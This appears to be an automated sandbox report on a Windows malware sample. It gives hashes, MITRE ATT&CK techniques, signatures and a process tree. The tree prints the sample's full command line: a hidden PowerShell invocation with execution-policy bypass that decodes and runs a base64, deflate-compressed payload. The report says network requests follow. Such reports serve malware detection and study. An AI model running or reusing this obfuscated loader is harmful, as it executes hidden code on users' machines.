fcbe422cd0a036961659aabe2af0d909f07c3dcda9bffa3b8ccb54482614ab06

General

Target

3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe
Size

126KB
MD5

3ac5e263fa5670a50c4ad7060afc7e8f
SHA1

7d00b96206ff3f1636812d016d504d43cea1a808
SHA256

fcbe422cd0a036961659aabe2af0d909f07c3dcda9bffa3b8ccb54482614ab06
SHA512

a773e6326dbbee1d37a1279ad0a5d12aee8259023378cbde18879ca66cc83acf20cfccd389ecdbe005793560a6f0ea8d8a05dda2dc32b03de8923c5c6060100d
SSDEEP

3072:o/25jvDSgsqsb5Uh28vAbTV1WW69B9VjMdxPedN9ug0z9TBfFSFMHM:Dtzsb5Uh28+V1WW69B9VjMdxPedN9ug5

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2652	powershell.exe
4	2652	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2652	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2652	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2652	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 580	1708	3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe	32
PID 1708 wrote to memory of 580	1708	3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe	32
PID 1708 wrote to memory of 580	1708	3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe	32
PID 580 wrote to memory of 2652	580	cmd.exe	33
PID 580 wrote to memory of 2652	580	cmd.exe	33
PID 580 wrote to memory of 2652	580	cmd.exe	33
PID 580 wrote to memory of 2652	580	cmd.exe	33

C:\Users\Admin\AppData\Local\Temp\3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\E2B1.tmp\E2B2.tmp\E2B3.bat C:\Users\Admin\AppData\Local\Temp\3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:580
- - C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
    C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -Window Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"zVZNb9s4EL3rVxCGgEi1JFC2YrgxDDRpNt1gt25Qu92D4IMijW1uaFIgqcRK1v+9o1j+kJMtgh4WCx0ok29mnmbeDG2nZEg+tKz4kvPrZS6VcVp3oATwbifIOG+5U5IXt5ylRJvE4AIrg+fkWpgbo8h3pkyR8HPOZerUew8eKZgwZFWvZb0+uoNfjvNRQWJgssAl28Ypar/3HtlHrt8OYtc7VfTWByu+KA3E06k9mtxMVCL0kpmhF76L+oPDrZhOh3QVXgx2eA2pFNmxSXN3Z2ULeZ6moPXQniVcw2Ciyid7LNM7MMMRPPhfbv+G1JARmGCzq+vViQ/3zrNMoZerZMl4OT07w28BhYAHqe68+KX1pMwBYZdzlSyb5zdKGplKXiO+Zbk7qAkFH6UQyMY5KXSQS8kDYfJAqvmJF3a67iD+Llk23YLHIDLnMFXHgK+QAruHJmadJiZdPB3kxagC1gNbFWIiTcKHdHAl1W9JunDsa5HBijBBGhWJaBBE3an7tLfZvb3rnPbaGzv0OWNKmwlbwtA5yPVlJSDcdML3lHohPvT5ibcHfzCRVakxqetWmf/MOGebAmsn/oa570VTZx8zpJQicvyMGIxNoow/5gA58TXp0U3NkUCVl/9R0WtGb6z6Fr0pe1PuL0C70h/j9kG51OD8qhyOuu2tirDYjDj/nRSIT/YSJP4cUAzEl4rsPtclT5ap1KFx+h7wGpfawDJ4WWLixK+c/VQo5DWLhmDGBqfp8nXgkXImae5att5rJnzfCcJePwijKAi73ROP9GmfuuQfIgvji4LzAbFz/Lr4XKmkIreZ4NcCx7tIwWnd4lxteSRyEbhCIHrfySc/cvSI59Syyzf4iy+YQZb3oDAXFXOJWel20KdH3fZpFa3EMV05XF1cWQ8LxoE4GMHn5ufGWLSKSbtJtfTsx/YpKujf033Fk7lGbyMpwCVra4ZScGw2DJELw7hAouqt3cYISM5mFbutuyNGn8BUFxKKEG83vJSC3xORcXDRyg+na8s2aIu68KvCEX8Jy1tQlzBjghkmsYVS4o8SlGXrLya6nRbxBf7SeZICed65KkRaITXx80Rrs1BFVSBs0LOzxmVPPbsM/gQxNwuPrrrYALhE1LW2zL8WwmADBM+qlPkY1D1D8QefE6UXCa9KKPOyyiChWLfNNY1NtQq2aXddj+yCoP7Mtur1/4CqZe3VpnebimkM47or+72I0nrwrNfWDw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\E2B1.tmp\E2B2.tmp\E2B3.bat

Filesize
4KB

MD5
91f2bf2519a03ae2b1fb8ed1dcd7fe6c

SHA1
71958fbbdd32ebe90a813de7a80d238b0956df24

SHA256
245358e6950654bdaee53f96394007596841084bd7838c83342d69accd46850c

SHA512
26e3ecef9ef421e5b9e0b7057d3e73087db0eb5a52dacb36f883f3f89cf931a15a418325438bc20b87885380d4d9bb49a34a4d8a4f8c01ddf98c2a0a0263944d

Download Submit
memory/2652-4-0x0000000073941000-0x0000000073942000-memory.dmp

Filesize
4KB

Download
memory/2652-5-0x0000000073940000-0x0000000073EEB000-memory.dmp

Filesize
5.7MB

Download
memory/2652-6-0x0000000073940000-0x0000000073EEB000-memory.dmp

Filesize
5.7MB

Download
memory/2652-8-0x0000000073940000-0x0000000073EEB000-memory.dmp

Filesize
5.7MB

Download
memory/2652-7-0x0000000073940000-0x0000000073EEB000-memory.dmp

Filesize
5.7MB

Download
memory/2652-9-0x0000000073940000-0x0000000073EEB000-memory.dmp

Filesize
5.7MB

Download
memory/2652-11-0x0000000073940000-0x0000000073EEB000-memory.dmp

Filesize
5.7MB

Download

Analysis

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